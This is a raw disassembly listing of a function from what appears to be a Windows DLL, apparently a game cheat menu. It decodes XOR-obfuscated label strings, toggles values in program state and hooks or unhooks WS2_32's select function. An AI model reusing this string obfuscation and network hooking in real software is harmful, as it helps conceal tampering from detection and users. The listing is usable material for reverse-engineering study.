mov rax, qword [0x18023ffe0]
mov rcx, qword [rax + rcx]
test rcx, rcx
je 0x18008e7ac
mov rcx, qword [rcx + 0x48]
lea rdx, [0x1802402f8]
mov rcx, qword [rcx + 0x20]
call qword [0x18023ff10]
call fcn.180012070
movaps xmm1, xmm11
movaps xmm0, xmm10
call fcn.180024a20
call fcn.180016840
addss xmm0, xmm7
call fcn.180025650
movzx ecx, word [0x1801b76c4]
lea rdx, [rbp + 0x530]
mov eax, dword [0x1801b76c0]
mov dword [rbp + 0x200], eax
movzx eax, byte [0x1801b76c6]
xor byte [rbp + 0x201], 0x33
xor al, 0x38
xor byte [rbp + 0x202], 0x34
xor byte [rbp + 0x203], 0x35
mov word [rbp + 0x204], cx
xor cl, 0x36
xor byte [rbp + 0x205], 0x37
mov byte [rbp + 0x204], cl
lea rcx, [rbp + 0x200]
mov dword [rbp + 0x530], 0x42e60000
mov dword [rbp + 0x534], 0x42200000
mov byte [rbp + 0x200], 0x43
mov byte [rbp + 0x206], al
call fcn.180002b60
test al, al
je 0x18008e851
call fcn.180012070
call fcn.180014a90
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
mov rcx, qword [0x18023d4d0]
test rcx, rcx
je 0x18008ee23
mov rax, qword [0x18023ffe0]
mov rcx, qword [rax + rcx]
test rcx, rcx
je 0x18008ec72
mov rax, qword [0x180240050]
cmp dword [rcx + rax], 4
jne 0x18008ea82
lea rcx, [rbp + 0x538]
call fcn.180016730
mov r8d, esi
movups xmm1, xmmword [str.g_XZU_]
movss xmm0, dword [rax]
mov eax, dword [0x1801b76d8]
mov dword [rbp + 0x2470], eax
movzx eax, byte [0x1801b76dc]
mov byte [rbp + 0x2474], al
movss dword [rbp + 0x540], xmm0
mov dword [rbp + 0x544], 0x42200000
movups xmmword [rbp + 0x2460], xmm1
cmp r12d, 2
jl 0x18008e9f2
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x2464]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008e901
cmp r8d, 0x15
jge 0x18008ea30
movsxd rax, r8d
lea r9, [rbp + 0x2460]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x18008ea00
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0x2460]
call fcn.180002b60
test al, al
je 0x18008efd3
mov rcx, qword [0x18023d4d0]
test rcx, rcx
je 0x18008efd3
mov rax, qword [0x18023ffe0]
mov rdx, qword [rax + rcx]
test rdx, rdx
je 0x18008efd3
mov rax, qword [0x180240050]
mov dword [rdx + rax], 1
jmp 0x18008efd3
lea rcx, [rbp + 0x548]
call fcn.180016730
mov r8d, esi
movups xmm1, xmmword [0x1801b76e0]
movss xmm0, dword [rax]
movzx eax, word [0x1801b76f0]
mov word [rbp + 0x22c0], ax
movzx eax, byte [0x1801b76f2]
mov byte [rbp + 0x22c2], al
movss dword [rbp + 0x550], xmm0
mov dword [rbp + 0x554], 0x42200000
movups xmmword [rbp + 0x22b0], xmm1
cmp r12d, 2
jl 0x18008ebe1
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x22b4]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008eaf0
cmp r8d, 0x13
jge 0x18008ec20
movsxd rax, r8d
lea r9, [rbp + 0x22b0]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x18008ebf0
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x22b0]
call fcn.180002b60
test al, al
je 0x18008efd3
mov rcx, qword [0x18023d4d0]
test rcx, rcx
je 0x18008efd3
mov rax, qword [0x18023ffe0]
mov rdx, qword [rax + rcx]
test rdx, rdx
je 0x18008efd3
mov rax, qword [0x180240050]
mov dword [rdx + rax], 4
jmp 0x18008efd3
lea rcx, [rbp + 0x558]
call fcn.180016730
mov r8d, esi
movups xmm1, xmmword [0x1801b76f8]
movss xmm0, dword [rax]
movzx eax, word [0x1801b7708]
mov word [rbp + 0x22d8], ax
movzx eax, byte [0x1801b770a]
mov byte [rbp + 0x22da], al
movss dword [rbp + 0x560], xmm0
mov dword [rbp + 0x564], 0x42200000
movups xmmword [rbp + 0x22c8], xmm1
cmp r12d, 2
jl 0x18008edd1
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x22cc]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008ece0
cmp r8d, 0x13
jge 0x18008ee10
movsxd rax, r8d
lea r9, [rbp + 0x22c8]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x18008ede0
lea rdx, [rbp + 0x560]
lea rcx, [rbp + 0x22c8]
jmp 0x18008efce
lea rcx, [rbp + 0x568]
call fcn.180016730
mov r8d, esi
movups xmm1, xmmword [str.W]
movss xmm0, dword [rax]
movzx eax, word [0x1801b7720]
mov word [rbp + 0x21b8], ax
movzx eax, byte [0x1801b7722]
mov byte [rbp + 0x21ba], al
movss dword [rbp + 0x570], xmm0
mov dword [rbp + 0x574], 0x42200000
movups xmmword [rbp + 0x21a8], xmm1
cmp r12d, 2
jl 0x18008ef81
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x21ac]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008ee90
cmp r8d, 0x13
jge 0x18008efc0
movsxd rax, r8d
lea r9, [rbp + 0x21a8]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x18008ef90
lea rdx, [rbp + 0x570]
lea rcx, [rbp + 0x21a8]
call fcn.180002b60
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0x578]
call fcn.180016730
movups xmm1, xmmword [0x1801b7728]
movss xmm0, dword [rax]
movups xmmword [rbp + 0x1eb0], xmm1
mov dword [rbp + 0x584], 0x42200000
psrldq xmm1, 0xf
movd eax, xmm1
movss dword [rbp + 0x580], xmm0
test al, al
je 0x18008f180
cmp r12d, 2
jl 0x18008f13b
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x1eb4]
mov r8d, dword [rsp + 0x60]
mov edx, esi
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x18008f050
jmp 0x18008f180
lea r9, [rbp + 0x1eb0]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x18008f150
lea rdx, [rbp + 0x580]
lea rcx, [rbp + 0x1eb0]
call fcn.180002b60
test al, al
je 0x18008f1d0
mov rcx, qword [0x18023d4d0]
test rcx, rcx
je 0x18008f1d0
mov rax, qword [0x18023ffe0]
mov rcx, qword [rax + rcx]
test rcx, rcx
je 0x18008f1d0
mov rax, qword [0x18023fee8]
mov rbx, qword [0x1802400f0]
call rax
mov rcx, rax
xor r8d, r8d
mov edx, 1
call rbx
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0x588]
call fcn.180016730
mov r8d, esi
movss xmm0, dword [rax]
mov eax, dword [0x1801b7740]
mov dword [rbp + 0x1b08], eax
movzx eax, word [0x1801b7744]
mov word [rbp + 0x1b0c], ax
movzx eax, byte [0x1801b7746]
movss dword [rbp + 0x590], xmm0
movsd xmm0, qword [0x1801b7738]
mov byte [rbp + 0x1b0e], al
mov dword [rbp + 0x594], 0x42200000
movsd qword [rbp + 0x1b00], xmm0
cmp r12d, 2
jl 0x18008f322
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7738]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1b00], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1b04]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1b04], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1b00]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x18008f330
lea rdx, [rbp + 0x590]
lea rcx, [rbp + 0x1b00]
call fcn.180002b60
test al, al
je 0x18008f3a1
mov rcx, qword [0x18023d4d0]
test rcx, rcx
je 0x18008f3a1
mov rax, qword [0x18023ffe0]
mov rcx, qword [rax + rcx]
test rcx, rcx
je 0x18008f3a1
mov rax, qword [0x18023ff30]
cmp byte [rax], 0x48
jne 0x18008f3a1
call rax
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0x598]
call fcn.180016730
mov r8d, esi
movups xmm1, xmmword [0x1801b7748]
movss xmm0, dword [rax]
mov eax, dword [0x1801b7758]
mov dword [rbp + 0x2578], eax
movzx eax, word [0x1801b775c]
mov word [rbp + 0x257c], ax
movzx eax, byte [0x1801b775e]
mov byte [rbp + 0x257e], al
movss dword [rbp + 0x5a0], xmm0
mov dword [rbp + 0x5a4], 0x42200000
movups xmmword [rbp + 0x2568], xmm1
cmp r12d, 2
jl 0x18008f521
movdqa xmmword [rsp + 0x60], xmm9
lea rcx, [rbp + 0x256c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x18008f430
cmp r8d, 0x17
jge 0x18008f560
movsxd rax, r8d
lea r9, [rbp + 0x2568]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x18008f530
lea rdx, [rbp + 0x5a0]
lea rcx, [rbp + 0x2568]
call fcn.180002b60
test al, al
je 0x18008f5ad
mov rcx, qword [0x18023d4d0]
test rcx, rcx
je 0x18008f5ad
mov rax, qword [0x18023ffe0]
mov rcx, qword [rax + rcx]
test rcx, rcx
je 0x18008f5ad
mov rax, qword [0x18023fee8]
mov rbx, qword [0x1802400f0]
call rax
mov rcx, rax
xor r8d, r8d
xor edx, edx
call rbx
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0x5a8]
call fcn.180016730
mov r8d, esi
movss xmm0, dword [rax]
mov eax, dword [0x1801b7768]
movss dword [rbp + 0x5b0], xmm0
movsd xmm0, qword [0x1801b7760]
mov dword [rbp + 0x1888], eax
movzx eax, byte [0x1801b776c]
movsd qword [rbp + 0x1880], xmm0
mov byte [rbp + 0x188c], al
mov dword [rbp + 0x5b4], 0x42200000
cmp r12d, 2
jl 0x18008f6f1
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801b7760]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1880], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1884]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1884], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1880]
add r9, rax
nop
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x18008f700
lea rdx, [rbp + 0x5b0]
lea rcx, [rbp + 0x1880]
call fcn.180002b60
test al, al
je 0x18008f774
mov rcx, qword [0x18023d4d0]
test rcx, rcx
je 0x18008f774
mov rax, qword [0x18023ffe0]
mov rdx, qword [rax + rcx]
test rdx, rdx
je 0x18008f774
mov r9b, 1
mov r8d, reloc.WS2_32.dll_select
mov rcx, r14
call fcn.1800dee50
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0x5b8]
call fcn.180016730
cmp byte [0x1801b777d], sil
movss xmm0, dword [rax]
mov eax, dword [str.NNN_Q_]
movss dword [rbp + 0x5c0], xmm0
movsd xmm0, qword [str.vZGTT__]
mov dword [rbp + 0x18b8], eax
movzx eax, word [0x1801b777c]
movsd qword [rbp + 0x18b0], xmm0
mov word [rbp + 0x18bc], ax
mov dword [rbp + 0x5c4], 0x42200000
je 0x18008f910
mov r8d, esi
cmp r12d, 2
jl 0x18008f8c6
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.vZGTT__]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x18b0], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x18b4]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x18b4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x18b0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x18008f8e0
lea rdx, [rbp + 0x5c0]
lea rcx, [rbp + 0x18b0]
call fcn.180002b60
test al, al
je 0x18008f954
mov rcx, qword [0x18023d4d0]
test rcx, rcx
je 0x18008f954
mov rax, qword [0x18023ffe0]
mov rdx, qword [rax + rcx]
test rdx, rdx
je 0x18008f954
xor r9d, r9d
mov r8d, reloc.WS2_32.dll_select
mov rcx, r14
call fcn.1800dee50
call fcn.180016870
addss xmm0, xmm7
call fcn.180025690
lea rcx, [rbp + 0x5c8]
call fcn.180016730
mov r8d, esi
movss xmm0, dword [rax]
mov eax, dword [0x1801b7788]
mov dword [rbp + 0x1b48], eax
movzx eax, word [0x1801b778c]
mov word [rbp + 0x1b4c], ax
movzx eax, byte [0x1801b778e]
movss dword [rbp + 0x5d0], xmm0
movsd xmm0, qword [str.w_UWZR]
mov byte [rbp + 0x1b4e], al
mov dword [rbp + 0x5d4], 0x42200000
movsd qword [rbp + 0x1b40], xmm0
cmp r12d, 2
jl 0x18008faa6
movd eax, xmm9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
movdqa xmm2, xmm15
pmuldq xmm1, xmm14
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm13
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.w_UWZR]
xorps xmm1, xmm0
movdqa xmm0, xmm15
movd dword [rbp + 0x1b40], xmm1
movdqa xmm1, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm14
punpckldq xmm1, xmm15
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1b44]
pmulld xmm0, xmm13
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1b44], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1b40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
lea r9, [r9 + 1]
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x32
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x18008fac0
lea rdx, [rbp + 0x5d0]
lea rcx, [rbp + 0x1b40]
call fcn.180002b60
test al, al
je 0x18008fb31
mov rcx, qword [0x18023d4d0]
test rcx, rcx
je 0x18008fb31
mov rax, qword [0x18023ffe0]
mov rdx, qword [rax + rcx]
test rdx, rdx
je 0x18008fb31
mov r9b, 1
xor r8d, r8d
mov rcx, r14
call fcn.1800dee50
call fcn.180006b10
call fcn.180013c40
movss xmm0, dword [0x180240268]
lea rcx, [rbp + 0x5d8]
addss xmm0, xmm8
mov dword [rbp + 0x5d8], 0x44070000
movss dword [rbp + 0x5dc], xmm0
call fcn.1800255f0
movzx ecx, word [0x1801b7794]
lea rdx, [rbp + 0x5e0]
mov eax, dword [0x1801b7790]
mov r9d, 8
mov dword [rbp + 0x208], eax
xor r8d, r8d
movzx eax, byte [0x1801b7796]
xor byte [rbp + 0x209], 0x33
xor al, 0x38
xor byte [rbp + 0x20a], 0x34
xor byte [rbp + 0x20b], 0x35
mov word [rbp + 0x20c], cx
xor cl, 0x36
xor byte [rbp + 0x20d], 0x37
mov byte [rbp + 0x20c], cl
lea rcx, [rbp + 0x208]
